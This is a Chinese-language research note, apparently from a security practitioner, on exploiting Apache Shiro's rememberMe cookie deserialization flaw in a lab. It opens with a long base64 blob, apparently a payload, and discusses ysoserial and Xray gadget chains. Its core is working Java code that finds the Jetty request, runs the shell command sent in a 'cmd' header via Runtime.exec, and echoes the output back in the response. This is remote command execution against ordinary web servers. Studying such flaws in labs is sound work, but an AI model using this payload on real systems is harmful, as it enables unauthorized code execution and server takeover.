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
相应的CommonsCollections2 、CommonsCollections4、CommonsCollections8这些gadget都需要commons-collections4-4.0.jar
。
- XraySysProp用于获取系统相关信息
- XrayCmd 用于执行命令,发起请求的时候,带上一个请求头:
cmd
碰到的问题
碰到tomcat解析shiro的jsp的问题,添加依赖:
<dependency>
<groupId>jstl</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>provided</scope>
</dependency>
默认配置下,依赖了commons-beanutils
,而其依赖的是commons-collections-2.1.1:
如果使用ysoserial的CommonsCollectionsK1TomcatEcho
这个gadget,则会产生SerilizationId错误而导致失败。
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
使用shiro自带的CommonsCollections碰到SerializationID不正确,于是手动添加依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>
</dependency>
这样才能先加载3.2.1版本的commons-collections库。
Shiro的rememberMe的逻辑
登录的过程中,
-
前端表现:登录提交的时候勾选框,勾选rememberMe这个单选框:
-
HTTP参数:rememberMe=on
-
后端认证逻辑:先看Cookie里有没有rememberMe这个字段,然后如果有,则把包含一个key为iniRealm,value为root(用户名)的realmPrincipals对象的 SimplePrincipalCollection经过序列化和AES加密,然后base64编码的值返回给客户端Cookie的rememberMe这个字段中。
-
下次客户端再请求的时候,就会自动带上这个rememberMe的Cookie,这样后端就不用再次认证了,知道他已经登录了。
多个中间件部署
在IDEA中用tomcat、resin部署shiro均成功,但是使用jetty时总失败,
参考这个文章:
https://www.yiibai.com/shiro/shiro-webapp-tutorial.html
的这个环境:
https://codeload.github.com/lhazlewood/apache-shiro-tutorial-webapp/zip/master
自由修改pom.xml
默认情况下并没有开启shiro,只需要几个步骤即可打开shiro:
添加src/main/webapp/WEB-INF/shiro.ini
文件
[main]
cacheManager = org.apache.shiro.cache.MemoryConstrainedCacheManager
securityManager.cacheManager = $cacheManager
并且修改
src/main/webapp/WEB-INF/web.xml
文件
加上
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
<dispatcher>ERROR</dispatcher>
</filter-mapping>
然后在命令行里
mvn jetty:run
或者IDEA里调试启动即可。需要什么依赖往pom.xml里加就行。
发现依赖碰到之前的错误。
在IDEA中使用代码片段执行命令,得到回显
代码片段的好处是方便,但是不能引入方法,只能是代码片段。
/* Thread.currentThread().threadLocals */
//获取当前线程对象
Thread thread = Thread.currentThread();
//获取Thread中的threadLocals对象
Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
//ThreadLocalMap是ThreadLocal中的一个内部类,并且访问权限是default
// 这里获取的是ThreadLocal.ThreadLocalMap
Object threadLocalMap = threadLocals.get(thread);
/* ThreadLocal.ThreadLocalMap */
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
//获取ThreadLocalMap中的Entry对象
Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
//TODO
// ThreadLocal.ThreadLocalMap.Entry[] objects = (ThreadLocal.ThreadLocalMap.Entry[]) tableField.get(threadLocalMap);
ThreadLocal.ThreadLocalMap.Entry[] objects = (ThreadLocal.ThreadLocalMap.Entry[]) tableField.get(threadLocalMap);
/* ThreadLocal.ThreadLocalMap.Entry */
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
//获取ThreadLocalMap中的Entry中的value字段
Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object obj: objects) {
if(obj!=null){
// org.eclipse.jetty.server.HttpConnection
Object httpConnection = entryValueField.get(obj);
if(httpConnection.getClass().getName().endsWith("HttpConnection")){
// org.eclipse.jetty.server.HttpChannelOverHttp
Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection);
// org.eclipse.jetty.server.Request
Object request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel);
String header = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{"cmd"});
// org.eclipse.jetty.server.Response
Object response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel);
// 控制HTTP响应的Writer
PrintWriter writer = (PrintWriter)response.getClass().getMethod("getWriter").invoke(response);
// 构造命令执行的输入输出环境
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(header).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
String res = stringBuilder.toString();
writer.write(res);
writer.close();
}
}
}
tips
写poc检测的时候,需要去掉一些headers,不然请求包太大,
可以不用requests,用socket实现。